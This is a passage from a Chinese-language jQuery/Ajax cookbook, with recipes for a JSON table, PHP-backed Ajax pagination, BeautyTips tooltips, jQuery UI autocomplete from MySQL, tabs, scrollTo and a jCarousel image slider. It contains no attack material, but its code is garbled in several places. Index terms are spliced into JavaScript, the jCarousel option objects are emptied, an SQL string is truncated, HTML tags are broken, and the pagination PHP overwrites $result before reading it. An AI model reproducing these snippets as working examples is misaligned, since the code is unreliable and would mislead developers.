<tbody></tbody>
</table>
</div>

  1. 现在,我们可以为我们的 HTML 设置样式:
<style>
.tableContainer { width:900px; }
.tableToolbar { background-color:#EEFFEE; height:20px;
padding:5px; }
table { border-collapse: collapse; width:100%; }
table th { background-color:#AAFFAA; padding:4px; }
table tr td { padding:4px; }
table tr.odd td { background-color:#E3E3E3; }
.floatr { float:right; }
.textAlignR { text-align: right; }
</style>

  1. 当 HTML 和 CSS 准备好后,我们可以开始使用 JavaScript:
<script src="js/jquery-1.4.4.js"></script>
<script>
$(document).ready(function(){
$.getJSON('json/requests.json', function(data) {
buildHeader(data);
buildBody(data);
});
});
var buildHeader = function(data){
var keys = [];
var $headRow = $('<tr />');
for(var key in data[0]){
if(key=="id")
var $cell = $('<th />');
else
var $cell = $('<th>'+key+'</th>');
$cell.appendTo($headRow);
}
$headRow.appendTo($('.tableContainer table thead'));
}
var buildBody = function(data){
for(var i = 0; i < data.length; i++){
var dataRow = data[i];
var $tableRow = $('<tr />');
for(var key in dataRow){
var $cell = $('<td />');
switch(key){
default:
$cell.html(dataRow[key]);
break;
case 'id':
var $checkbox = $('<input type="checkbox"
name="select['+dataRow[key]+']" />');
$checkbox.appendTo($cell);
break;
case 'date':
$cell.html(dataRow[key]);
$cell.addClass('textAlignR');
break;
}
$cell.appendTo($tableRow);
}
if(i % 2 == 0)
$tableRow.addClass('odd');
$tableRow.appendTo($('.tableContainer table tbody'));
}
}
</script>

  1. 结果如下:如何做...

它是如何工作的...

起初,我们为表格制定了基本的 HTML 结构。我们只定义了表头和表体的位置。在(document).event中,我们发送一个getJSON请求,从服务器获取一个json对象(json/requests.json)。我们将数据放入data变量中,并继续构建表格。在第一步中,我们构建表头(buildHeader(data))。这个函数获取数据,从 JSON 对象中解析键,并将它们用于表头单元格。在第二步中,我们构建表体(buildBody(data))。这个函数基于一个循环,将指定表格的每一行。我们使用一个开关,它能够根据键提供每个值的特定功能。

还有更多...

在这个任务中,我们已经构建了一个带有工具箱的表格,但它还没有任何功能;至少目前还没有。在每一行中,我们定义了一个复选框。通过定义这个复选框,我们可以指定额外的功能:

$checkbox.bind('click', function(e){
$(this).parents('tr').addClass('highlighted');
})
.appendTo($cell);

对于前面代码片段中提到的工具栏,我们可以指定:

$('.selectAll').bind('click',function(){
$(this) .parents('table')
.find('input[type="checkbox"]').each(function(){
var $checkbox = $(this);
$checkbox.attr('checked', 'checked');
var $row = $checkbox.parents('tr');
$row.addClass('highlighted');
});
});

使用 PHP 和 Ajax 构建分页

在这个任务中,我们将学习如何使用 Ajax 功能构建分页。这意味着我们将能够在不重新加载整个网站的情况下翻页查看联系人列表。

如何做...

  1. 我们将从包含页面容器、显示联系人第一页的联系人网格和联系人分页的 HTML 开始:
<div id="pageContainer">
<div id="contactGrid">
<div class="contact">
<img src="images/avatar.png" alt="avatar" />
<h2>Milan Sedliak</h2>
<p>Prague, Czech Republic</p>
</div>
<!-- // add more contacts -->
<div class="contact">
<img src="images/avatar.png" alt="avatar" />
<h2>Milan Sedliak (home)</h2>
<p>Malacky, Slovakia</p>
</div>
</div>
<ul id="contactPagination">
<li><a href="#previous" id="previous">Previous</a></l
<li><a href="#1" id="1">1</a></li>
<li><a href="#2" id="2">2</a></li>
<li><a href="#3" id="3">3</a></li>
<li><a href="#4" id="4">4</a></li>
<li><a href="#5" id="5" class="active">5</a></li>
<li><a href="#6" id="6">6</a></li>
<li><a href="#7" id="7">7</a></li>
<li><a href="#next" id="next">Next</a></li>
</ul>
</div>

  1. 所需的 CSS 如下:
<style>
#pageContainer { width: 410px; margin:0px auto; }
#contactGrid { width: 410px; margin:10px auto;
overflow:hidden; position:relative; }
#contactGrid .contact { float:left; width:200px;
margin:10px 0px; }
.contact img { float:left; margin-right:5px;
margin-bottom:10px; }
.contact h2 { font-size:14px; }
.contact p { font-size: 12px; }
#contactPagination { clear:both; margin-left:50px; }
#contactPagination li { float:left; list-style:none; }
#contactPagination li a { padding:5px; margin:5px;
border:1px solid blue; text-decoration:none; }
#contactPagination li:hover a { color:orange;
border:1px solid orange; }
#contactPagination li a.active { color:black;
border:1px solid black; }
</style>

  1. 分页的 JavaScript 功能如下:
<script src="js/jquery-1.4.4.js"></script>
<script>
$(document).ready(function(){
paginationInit();
});
var paginationInit = function(){
$('#contactPagination li a').bind('click', function(e){
e.preventDefault();
var $this = $(this);
var target = $this.attr('id');
var $currentItem = $('#contactPagination a.active')
.parents('li');
var $contactGrid = $('#contactGrid');
switch(target){
default:
$('#contactPagination a').removeClass('active');
$this.addClass('active');
var page = target;
$.get('contacts.php',
{'page': page}, function(data) {
$contactGrid.html(data);
});
break;
case 'next':
var $nextItem = $currentItem.next('li');
$('#contactPagination a').removeClass('active');
var $pageToActive = $nextItem.find('a')
.addClass('active');
var page = $pageToActive.attr('id');
$.get('contacts.php',
{'page': page}, function(data) {
$contactGrid.html(data);
});
break;
case 'previous':
var $previousItem = $currentItem.prev('li');
$('#contactPagination a').removeClass('active');
var $pageToActive = $previousItem.find('a')
.addClass('active');
var page = $pageToActive.attr('id');
$.get('contacts.php',
{'page': page}, function(data) {
$contactGrid.html(data);
});
break;
}
hidePreviousNextButtons();
});
}
var hidePreviousNextButtons = function(){
var $currentItem = $('#contactPagination a.active');
var currentItemID = $currentItem.attr('id');
var $nextButton = $('#contactPagination #next');
var $previousButton = $('#contactPagination #previous');
var lastItemID = $nextButton.parents('li').prev('li')
.find('a').attr('id');
var firstItemID = $previousButton.parents('li').next('li')
.find('a').attr('id');
currentItemID == lastItemID ?
$nextButton.hide() : $nextButton.show();
currentItemID == firstItemID ?
$previousButton.hide() : $previousButton.show();
}
</script>

  1. 要检索所需的页面,我们将定义contact.php:
<?php
if (isset($_GET["page"])) { $page = (int)$_GET["page"]; } else { $page = 1; };
$start_from = ($page-1) * 20;
$sql = "SELECT * FROM contacts ORDER BY name ASC LIMIT $start_from, 20";
$result = mysql_query ($sql,$connection);
?>
<?php
$result="";
while ($row = mysql_fetch_assoc($result)) {
$avatar = htmlspecialchars($row["avatar"]); $fullName = htmlspecialchars($row["fullName"]);
$address = htmlspecialchars($row["address"]);
$result .= sprintf('
<div class="contact">
<img src="%s" alt="avatar" />
<h2>%s</h2>
<p>%s</p>
</div>',$avatar,$fullName,$address);
};

  1. 结果如下:如何做...

它是如何工作的...

我们在paginationInit()函数中定义了分页的主要功能。主要步骤是获取分页中的每个超链接,并根据其id属性分配特定的功能。当idnextprevious时,这意味着我们点击了下一页上一页按钮。在这种情况下,我们查找当前活动的页面,并选择next/previous超链接。如果我们已经到达了first/last超链接,我们通过调用hidePreviousNextButtons()函数隐藏previous/next按钮。在这个例子中,默认目标是数字项(页面)之一。当我们点击时,我们保存当前活动页面,从contacts.php调用GET请求以获取所需的页面,并在contactGrid中显示它。

还有更多...

我们学会了如何构建基本的分页。现在我们可以玩一下用户体验。我们的用户喜欢看到页面上发生了什么。在这种情况下,我们点击代表页面的链接,并等待联系人在联系人网格中显示出来。现在,我们可以为我们的用户提供一个经典的旋转器,作为内容正在加载的通知。

首先,我们需要找到一个.gif图像作为旋转器。我们可以在互联网上很容易找到一个。当图像准备好并保存在我们的图像文件夹中时,我们可以定义 CSS 如下:

#spinnerContainer { opacity:0.85; position:absolute;
width:100%; height:100%;
background:url('images/loader-big.gif') no-repeat
center center #000; }

我们可以直接将旋转器的显示添加到现有的函数中;这可以在 Ajax 请求之前完成,当请求id完成时。我们将使用.html()函数覆盖 HTML 内容。

$('<div id="spinnerContainer"></div>')
.prependTo($contactGrid);
$.get('contacts.php',
{'page': page}, function(data) {
$contactGrid.html(data);
});

修改后的版本如下:

还有更多...

第三章:使用 jQuery 的实用工具

在本章中,我们将涵盖:

  • 使用 Ajax 制作工具提示

  • 从数据库创建自动完成

  • 使用 jQuery 构建选项卡导航

  • 旋转内容

  • 创建图像滑块

  • 创建无页码分页

  • 使用 Lightbox 加载图像

  • 使用 jGrow 插件增加文本区域

  • HTML 替换选择下拉框

  • 通过 Datepicker 改进日期选择

  • 拖放功能

  • Ajax 购物车

  • 排序和过滤数据

  • 添加视觉效果和动画

我们需要 Ajax 工具或插件来获取“Ajax 化”的网站。jQuery 插件通常是一个很好的时间节省者,因为它们通常是即插即用类型的脚本。jQuery 的基于选择器的方法使得将普通网页转换为“Ajax 化”网页变得更加简单,以不显眼的方式。在本章中,我们将看到一些高效的 jQuery 插件及其用法。

使用 Ajax 制作工具提示

Web 浏览器会在工具提示中呈现title属性的内容。浏览器工具提示存在一些问题,例如:

  • 它们的外观在各个浏览器中不一致

  • 浏览器工具提示无法样式化

为了解决这些美学 UI 问题,我们有许多 jQuery 插件。在本教程中,我们将研究如何使用 BeautyTips 插件获取工具提示。

准备工作

我们需要从plugins.jquery.com/project/bt获取 BeautyTips jQuery 插件以及 jQuery Core。可选地,我们可能需要以下内容:

  • ExplorerCanvas来自excanvas.sourceforge.net/,以支持 Internet Explorer 中的canvas元素。请注意,BeautyTips 使用canvas元素来生成气泡提示。

  • hoverIntent插件来自cherne.net/brian/resources/jquery.hoverIntent.html,因为它改变了悬停行为。jQuery 的默认hover事件在绑定元素悬停时触发,有时会导致用户体验不佳,特别是当用户无意中悬停在特定元素上时。hoverIntent 插件通过为悬停事件添加间隔和超时来解决此问题,以便清楚地满足用户意图。安装后,BeautyTips 使用 hoverIntent 而不是 hover。

  • bgiframe插件来自plugins.jquery.com/project/bgiframe,因为它修复了 IE6 中表单元素的 z-index 问题。当页面上有 bgiframe 时,BeautyTips 将自动使用它。

  • Easing插件在需要动画效果时使用。

如何做...

使用 BeautyTips 插件制作工具提示很容易,因为它只是一个即插即用的设置。让我们看看当用户填写表单时如何提供帮助提示。

如何做...

以下代码使得在前面的屏幕截图中获取显示更容易:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script src="js/jquery.min.js" type="text/javascript">
</script>
<script src="js/jquery.hoverIntent.minified.js" type="text/javascript">
</script>
<script src="js/jquery.bgiframe.min.js" type="text/javascript">
</script>
<!--[if IE]>
<script src="js/excanvas.js" type="text/javascript">
</script>
<![endif]-->
<script src="js/jquery.bt.min.js" type="text/javascript">
</script>
<script src="js/jquery.easing. js" type="text/javascript">
</script>
<script src="js/script.js" type="text/javascript">
</script>
<title>Tooltips for form inputs</title>
</head>
<body>
<form method="post" action="action.php">
<fieldset>
<legend>Bio</legend>
<label for="name">Name</label><br />
<input type="text" id="name" title="Hey, how can we call you?"/
<label for="age">Age</label><br />
<input type="text" id="age" title="This site isn't for babies and so we need your age!" /><br />
<label for="gender">Gender</label><br />
<select id="gender" title="Are you she or he in your bio?">
<option value="" selected="selected">- Choose -</option>
<option value="M">Male</option>
<option value="F">Female</option>
</select><br />
<input type="submit" value="Submit" />
</fieldset>
</form>
</body>
</html>

而在 JavaScript 触发中,使用以下代码更简单:

jQuery(document).ready(function($){
         $('input, select').bt();
});

它是如何工作的...

BeautyTips 使用canvas元素来绘制通常称为工具提示、帮助提示、帮助气球和对话气泡的气泡。使用canvas的主要思想是实现任何形状的气泡。BeautyTips 具有内置样式支持,用于普通气泡、Google 地图气泡、Facebook 工具提示和 Netflix 工具提示。它还通过 CSS 支持自定义气泡主题。

如我们的示例中所述,要在表单输入上获取工具提示,气泡文本会自动从附加元素的title属性中获取。因此,它会优雅地降级,并符合辅助功能标准。在可能需要在气泡提示中显示其他文本的情况下,我们可以通过添加以下代码来实现:

$(selector).bt('Bubble tip text');

气泡提示通常放置在元素的右侧。当没有可用空间时,它会自动调整和检测位置。API 还提供了设置位置的能力,如下所示:

$(selector).bt({positions: 'top'});

默认的触发事件是hover。当页面上找到 hoverIntent 插件时,它将利用它来改善用户体验。如前文所述,hoverIntent 插件将设置触发hover事件的时间,从而在用户意外移动到元素上时避免不必要的事件触发。通过 API,我们还可以将触发事件定制为除hover之外的其他内容,如下所示:

$(selector).bt({trigger: 'click'});

要指定trigger事件何时应该隐藏,我们必须传递第二个参数。以下代码将在focus事件中触发bubble tip,并在blur事件中隐藏它:

$(selector).bt({trigger: ['focus', 'blur']});

气泡文本内容也可以使用ajaxPath属性作为参数从远程 Ajax 页面加载:

$(selector).bt({ ajaxPath: 'ajax.html', ajaxError: "Ajax error: %error." });

还有更多...

jQuery 生态系统中有很多可用的插件可以轻松获取工具提示。BeautyTips 的功能在大多数情况下通常足够了。然而,我们可能会遇到一种情况,我们希望获取其他网站中使用的确切(或类似)工具提示。在这里,我们讨论了一些这样的插件:

  • tipsy

这个插件可以在onehackoranother.com/projects/jquery/tipsy/找到。它专注于轻松获取类似 Facebook 的迷你信息工具提示。

  • BubbleTip

这个插件可以在code.google.com/p/bubbletip/找到,它可以帮助我们获取阴影和动画工具提示。

  • jGrowl

在 Mac OS X 中,Growl 框架允许开发人员发出警报消息。这个 jGrowl 插件可以在stanlemon.net/projects/jgrowl.html找到,它模仿了相同的警报功能。我们可以使用这个插件在浏览器上创建漂亮的工具提示/警报弹出窗口。

  • qTip

这是另一个工具提示插件,可以在craigsworks.com/projects/qtip2./找到。它有很多选项,还提供视觉上令人愉悦的工具提示。

从数据库创建自动完成

大多数时候,用户厌倦了填写表单。然而,从网站的角度来看,用户输入对于数据挖掘和更好的服务非常重要。当最终用户能够快速填写表单或轻松填写表单时,这将有助于最终用户和网站所有者。自动完成是帮助最终用户的一种尝试。总的来说,我们有两种类型的自动完成设计:

  • 通过允许浏览器记住某些表单输入,在浏览器 UI 中

  • 在使用自动完成技术快速填写表单的网站中

在这个教程中,我们将看到如何在 PHP 脚本中集成 jQuery UI Autocomplete 插件。

准备工作

我们需要从jqueryui.com/获取 jQuery UI,其中包括自动完成组件。请注意,jQuery UI 下载页面jqueryui.com/download具有向导式界面,可以轻松选择必要的文件。

关于数据库,我们需要一个具有模式jslibs(id,name)的表。

操作步骤...

首先,我们将从没有数据库的情况下开始自动完成集成,然后再添加数据库支持。集成 jQuery UI Autocomplete 小部件很简单。让我们通过自动完成支持改进轮询应用程序的用户界面。请注意,自动完成模式通常在输入可以是预定集合中的任何内容或来自用户的情况下首选。

操作步骤...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="http://themes/base/jquery.ui.all.css" />
<script type="text/javascript" src="js/jquery.js">
</script>
<script type="text/javascript" src="js/ui/jquery.ui.core.js">
</script>
<script type="text/javascript" src="js/ui/jquery.ui.widget.js">
</script>
<script type="text/javascript" src="js/ui/jquery.ui.position.js">
</script>
<script type="text/javascript" src="js/ui/jquery.ui.autocomplete.js">
</script>
<script type="text/javascript" src="js/script.js">
</script>
<title>jQuery UI Autocomplete</title>
</head>
<body>
<form method="post" action="poll.php">
<div class="ui-widget">
<fieldset>
<legend>Poll</legend>
<label for="jslibs">Your favorite JavaScript framework</label>
<;input id="jslibs" />
<input type="submit" value="Submit" />
</fieldset>
</div>
</form>
</body>
</html>

在 JavaScript 代码中,通过其id挂钩输入元素就像这样简单:

jQuery(document).ready(function($){
  $('#jslibs').autocomplete( {
source : ['dojo',       

'ExtJS',
'jQuery',
'MochiKit',
'mootools',
'Prototype',
'YUI']
});
});

在这里,我们通过source选项硬编码了自动完成值。当values集的大小很大时,我们必须通过服务器脚本远程提供值。因此,让我们通过创建values.php来为前面的设置添加远程值功能,如下面的代码片段所示:

<?php
// JSON header...
header('Content-Type: application/json');
// DB connections...
$con = mysql_connect('localhost', 'db_user', 'db_password');
mysql_select_db('db_name', $con);
// 'term' passed from autocomplete component...
$term = isset($_GET['term']) ? mysql_real_escape_string ($_GET['term']) : '';
$values = array();
if ($term) {
$sql = 'SELECT name from jslibs WHERE name LIKE \'%' . $term .

$result = mysql_query($sql, $con);
while ($row = mysql_fetch_assoc($result)) {
$values[] = $row['name'];
}
}
echo json_encode($values);
?>

接下来,在自动完成调用中挂钩values.php

jQuery(document).ready(function($){
var cache={}, prevReq;
$('#jslibs').autocomplete({
source: function(request, response){
var term=request.term;
if (term in cache){
response(cache[term]);
return;
}
prevReq=$.getJSON('values.php', request, function(data, status,
req){
cache[term]=data;
if (req===prevReq){
response(data);
}
});
}
});
});

它是如何工作的...

source参数保存要自动完成的值。我们可以直接使用对象集来设置它们。另一个选项是通过远程 Ajax 请求设置它们。由于服务器脚本动态提取值,当数据没有被缓存时,它会有点低效。因此,我们为每个发送到服务器的术语形成了一个cache缓冲对象。这样可以提高用户按退格键或重新输入上一个查询时的性能。在这种情况下,请求将立即从本地保存的数据中提供服务。

还有更多...

值得注意的是,jQuery UI 自动完成插件具有许多功能,例如自动完成多个值(例如在delicious.com中输入标签时),固定输入数量等。接下来描述了一些有趣的主题和插件:

  • Sphinx:

服务器端脚本搜索功能不高效,因为它使用LIKE运算符,这将需要完整的表扫描。更好的选择是使用 Sphinx 使用全文搜索。有关 Sphinx 的更多信息,请访问sphinxsearch.com/

  • 地理编码自动完成:

这是一个有趣的 jQuery 插件,可以使用 Google Maps API 自动完成地点地址。集成后,用户更容易输入他们的地址。它可以在github.com/lorenzsell/Geocoded-Autocomplete找到。

使用 jQuery 构建选项卡导航

任何网站都不完整没有导航链接。选项卡是将导航引入网站的良好用户界面方法。通过 CSS,可以轻松地设计导航链接看起来像选项卡。在 jQuery 中有许多选项卡实现。在这个教程中,我们将看看如何轻松集成 jQuery UI 选项卡插件。

准备就绪

我们将需要从jqueryui.com/获取 jQuery UI,其中包括选项卡组件。

如何做...

jQuery UI 选项卡插件使用了可访问的标记标准。只要我们使用预定义的 HTML 标记,并使用选择器将其连接到jQuery UI 选项卡,我们就完成了!

如何做...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="http://themes/base/jquery.ui.all.css" />
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/ui/jquery.ui.core.js"></script>
<script type="text/javascript" src="js/ui/jquery.ui.widget.js"></script>
tab navigationcreating, steps<script type="text/javascript" src="js/ui/jquery.ui.tabs.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>jQuery UI Tabs</title>
</head>
<body>
<div id="tabs">
<ul>
<li><a href="#tab-1">Tab 1</a></li>
<li><a href="#tab-2">Tab 2</a></li>
<li><a href="#tab-3">Tab 3</a></li>
<li><a href="#tab-4">Tab 4</a></li>
</ul>
<div id="tab-1">
<p>Tab 1</p>
</div>
<div id="tab-2">
<p>Tab 2</p>
</div>
<div id="tab-3">
<p>Tab 3</p>
</div>
<div id="tab-4">
<p>Tab 4</p>
</div>
</div>
</body>
</html>

而且,在 JavaScript 调用中,我们只需绑定它如下:

jQuery(document).ready(function($){
         $('#tabs').tabs();
tab navigationcreating, steps});

它是如何工作的...

jQuery UI 选项卡标记在tabs容器中定义了无序列表中的导航链接。选项卡内容放置在导航链接旁边。从导航链接到选项卡容器的映射是通过容器的id完成的。

选项卡的主题是通过 JavaScript 应用 CSS 选择器应用的jquery.ui.all.css

如下截图所示,当由于某种原因 JavaScript 不可用时,标记提供了优雅的降级。导航仍然有效,让链接跳转到容器。

它是如何工作的...

还有更多...

jQuery UI 选项卡插件还提供其他一些不错的功能,例如加载 Ajax 内容,能够在底部显示选项卡,通过 jQuery UI Sortable 实现可排序选项卡等。让我们看看如何实现这些常见功能:

  • 远程 Ajax 选项卡:

获取远程链接以在选项卡中加载很容易。jQuery UI 选项卡内置支持此功能。因此,仅更改 HTML 标记就足够了:

<div id="tabs">
<ul>
<li><a href="#tab-1">Tab 1</a></li>
<li><a href="http:///remote-link.html">Tab 2</a></li>
</ul>
<div id="tab-1">
<p>Tab 1</p>
</div>
</div>

在这里,请注意我们不必为远程链接加载添加任何容器div元素。

  • 可排序选项卡:

Firefox 浏览器的选项卡是可排序的-它们可以拖放以更改顺序。jQuery UI 选项卡默认情况下不可排序,但可以通过使用sortableUI 插件添加该功能:

jQuery(document).ready(function($) {
$('#tabs').tabs().find('.ui-tabs-nav').sortable( {
axis: 'x'
});
});

请注意,当调用tabs()并且无序列表的ul元素已经与sortable()调用连接时,无序列表中找到的选项卡导航链接部分将动态添加ui-tabs-nav类。

  • 样式选项卡:

通过样式化选项卡来改变外观很容易。可以通过以下方式完成:

  • 一个名为ThemeRoller的在线主题工具,位于jqueryui.com/themeroller/

  • 手动调整以ui-tabs-开头的 CSS 声明中找到的样式

另请参阅

在第七章中的构建 SEO 友好的 Ajax 网站食谱实施构建 Ajax 网站的最佳实践

旋转内容

在 iPhone 和 Mac OS 中使用效果滚动内容非常吸引人。在 Web 2.0 网站中,有时我们也需要飞行或滚动内容。通常需要内容旋转的地方包括新闻滚动条、公告滚动条、漂亮的幻灯片效果等。jQuery 生态系统中有很多插件可用于此目的。然而,jQuery.scrollTo插件相对简单,提供了很多效果,因此可以在许多情况下有效地使用。

准备工作

除了 jQuery 核心库,我们还需要从plugins.jquery.com/project/ScrollTo获取jQuery.scrollTo插件。

如何做...

在这里,我们将看到如何使用 JavaScript 动态滚动div容器的内容。最初,HTML 标记很简单,有一个div容器和用于触发向下或向上滚动事件的链接。

如何做...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="styles/style.css" />
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/jquery.scrollTo-min.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>Content Scrolling - scrollTo</title>
</head>
<body>
<div id="content">

<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin non sem eget est vestibulum commodo nec at quam. Nullam et dignissim mi. Maecenas eget sem non nisl ornare pellentesque. Mauris accumsan nunc eu eros tristique at ultrices ipsum interdum. Fusce vel nulla nibh, sed feugiat orci. Ut dignissim velit ac lacus varius ultrices. Morbi sollicitudin fermentum ultricies. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Aliquam vel aliquam leo. Nam consectetur sodales mauris, in pretium diam facilisis a. Duis tincidunt lorem eu felis placerat ac volutpat elit lacinia.</p>
<p>Vivamus ac odio id lectus mollis suscipit. Etiam consequat semper dignissim. Aenean odio dui, interdum eu mattis non, pretium vel massa. Nulla ultrices suscipit euismod. Donec consequat nisl in ante ultricies ornare. Ut sit amet quam sed mauris placerat adipiscing a ut sapien. Suspendisse vel orci lectus. Quisque ut sollicitudin orci. Quisque molestie augue quis quam convallis quis congue magna lobortis. Quisque feugiat felis ut dolor commodo condimentum. Ut volutpat iaculis interdum. Praesent accumsan mollis ultricies. Suspendisse potenti. Duis ac ornare sapien. In hac habitasse platea dictumst. Etiam vel purus ligula. Suspendisse libero velit, convallis non elementum non, accumsan eu urna. Fusce fringilla facilisis hendrerit. Nam sollicitudin mattis diam, id tincidunt urna ornare et. Duis sit amet lacus ut quam bibendum pulvinar eu eu massa.</p>
</div>
<ul>
<li><a id="trigger-down" href="#">Scroll down</a></li>
<li><a id="trigger-up" href="#">Scroll up</a></li>
</ul>
</div>
</body>
</html>

在 JavaScript 代码中,触发链接click事件附加到scrollTo()调用:

jQuery(document).ready(function($){
$('#trigger-down').click(function(){
$('#content').scrollTo(800, 'slow');

return false;
});
$('#trigger-up').click(function(){
$('#content').scrollTo(0, 'slow');
return false;
});
});

通过 CSS 设置宽度、高度和溢出属性,以在内容上获得滚动条:

div#content {
width:400px;
height:100px;
overflow: auto;
}

它是如何工作的...

scrollTo()是一个单一的方法,它接受可变参数来控制滚动效果。在上面的例子中,通过 CSS 将content容器设置为固定的widthheight。为了获得滚动条,我们已经将overflow属性设置为auto值。因此,当页面加载时,一些内容会被隐藏。要向下滚动,我们使用了$('#content').scrollTo(800, 'slow');。

在这里,800是内容应该滚动到的偏移值。动画速度设置为slow;没有这个参数和值,内容将立即滚动。类似地,要向上滚动或重置内容的位置,我们使用了$('#content').scrollTo(0, 'slow');。

scrollTo()的第一个参数接受以下值:

  • 百分比值:

例如,如果我们调用\((`'#content').scrollTo('50%', 'slow')`,内容将只滚动到一半的位置。要滚动到最底部,我们也可以使用`\)('#content').scrollTo('100%', 'slow'),而不是$('#content').scrollTo(800,'slow')`。

  • 选择器:

可以通过在第一个参数中传递选择器值来滚动到内容中的特定选择器,如下所示:$('#content') .scrollTo('#target','slow')

  • 像素值:

它还接受像这样的像素值:$('#content').scrollTo('50px','slow')。这将保持像素偏移值。

  • jQuery 对象:

也可以传递 jQuery 对象来指定目标,如下所示:$('#content').scrollTo($('#target'),'slow')

除此之外,还有控制轴(是水平方向还是垂直方向滚动)、边距、队列(当设置为true时,会使滚动在两个轴上依次进行),以及回调函数的参数。例如,以下代码片段将滚动内容到特定的目标元素,并在滚动完成后弹出警告框:

$('#content').scrollTo('#target', 'slow', {
onAfter: function() {
alert('Done');
}
});

还有更多...

scrollTo()是一个通用插件。它通过几个插件进行了扩展,以便更容易使用:

  • jQuery.SerialScroll:

此插件可在flesler.blogspot.com/2008/02/jqueryserialscroll.html.上找到。它使用了 scrollTo 插件,可用于获取新闻滚动条或轻松的水平和垂直滚动。

  • jQuery.LocalScroll:

这可以在flesler.blogspot.com/2007/10/jquerylocalscroll-10.html找到。它改进了带有动画的锚链接的本地滚动。例如,以下 JavaScript 代码将使所有本地链接平滑滚动带有动画:

$.localScroll();

然后,像这样的本地链接将在跳转时进行动画:

<a href="#toc">Table of Contents</a>

创建图像滑块

在页面中显示照片相册、特色、截图等图像是大多数网站的常见需求。在滑块中显示图像并添加一些效果将使其更加生动,并且会使网站“Ajax 化”。为了提供这样的效果并获得更好的效果,有很多 jQuery 插件。在本食谱中,我们将看到如何使用 jCarousel 插件显示图像滑块。

准备工作

我们将需要从sorgalla.com/projects/jcarousel/获取 jCarousel 插件,以及 jQuery 核心库。

如何做...

只需使用普通的 HTML 标记——无序列表中的图像——即可获得照片列表。为了将 jCarousel 插件连接到无序列表,我们已经设置了id。为了设置主题,我们将类设置为jcarousel-skin-ie7

如何做...

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<link rel="stylesheet" type="text/css" href="http://skins/ie7/skin.css" />
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript"src ="js/jquery.jcarousel.min.js"></script>
<script type="text/javascript" src="js/script.js"></script>
<title>Image slider - jCarousel</title>
</head>
<body>
<div id="container">

<ul id="carousel" class="jcarousel-skin-ie7">
<li><img src="http://uscites.gov/sites/default/files/ African%20Elehant%203.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
<li><img src="http://uscites.gov/sites/default/files/ elephant%202.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
<li><img src="http://uscites.gov/sites/default/files/elephant1.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
<li><img src="http://uscites.gov/sites/default/files/Tim%20Knepp%20African%20Elephant001_0.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
<li><img src="http://uscites.gov/sites/default/files/ African%20Elephant%201.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
<li><img src="http://uscites.gov/sites/default/files/ African%20Elephant%202.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
<li><img src="http://uscites.gov/sites/default/files/ elephant_bull_amboseli_best.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
<li><img src="http://uscites.gov/sites/default/files/ elephant_pano3.jpg" width="75" height="75" alt="[Image: Elephant]" /></li>
</ul>
</div>
</body>
</html>

接下来,我们通过选择器将 jCarousel 附加到无序列表中,如下面的代码片段所示:

jQuery(document).ready(function($){
image slidercreating$('#carousel').jcarousel();
});

这带来了精彩的图像滑块,如前面的屏幕截图所示。

工作原理...

在这里,我们使用简单和易于访问的 HTML 标记来显示图像——每个图像都包裹在无序列表中。我们通过其id将 jCarousel 连接到无序列表,以获得一个漂亮的图像滑块。

jCarousel 捆绑了两种 CSS 皮肤:

  • Tango——符合Tango 桌面项目的规定,使得所有开源软件都能获得一致的图形用户体验,网址为tango.freedesktop.org/

  • IE7

jCarousel 迭代无序列表中的每个图像并形成滑动面板。它还负责导航到下一个和上一个图像。默认情况下,图像滑块以水平方向显示。要使其以垂直方向显示,我们必须进行如下设置:

$('#carousel').jcarousel( {
});

图像滑块不是循环的。在滑块中的最后一个图像后,下一个和上一个按钮将被禁用。有时,我们可能需要一个保持以循环方式滚动的滑块。使用 jCarousel 很简单,可以通过以下代码片段实现:

$('#carousel').jcarousel( {
});

jCarousel 具有设置下一个或上一个滑动应滚动多少图像的能力:

$('#carousel').jcarousel( {
});

还有更多...

实际上,我们有很多插件和方法可以获得图像滑块。以下是一些 jCarousel 的替代方案:

  • Lightbox:

Lightbox 将在本章的即将推出的食谱中介绍。一些实现具有图像滑动和幻灯片选项,因此我们可以使用这样的版本作为图像滑块。

  • GalleryView:

GalleryView,网址为plugins.jquery.com/project/galleryview,具有视觉上令人愉悦的功能来显示图像库。它还具有缩略图选项,可以立即查看可用的图像。

创建无页码分页

当页面上的记录超过一定限制时,通常会将记录分成多个页面,并让用户通过页码链接/下一页/上一页/第一页/最后一页链接访问页面。这样的系统称为分页。在一些 Web 2.0 网站中,我们可以找到无页码分页。这是独特的;底部有一个“更多”链接,点击后将通过 Ajax 加载其下方的内容。这种用户界面很有趣,因为用户不必点击“上一页”链接来查看以前的页面;它们已经在当前页面中可用。

准备工作

我们将需要 jQuery 核心库和与以下代码片段中所示的模式类似的 DB 表。

CREATE TABLE users (
'id' mediumint(8) unsigned NOT NULL auto_increment,
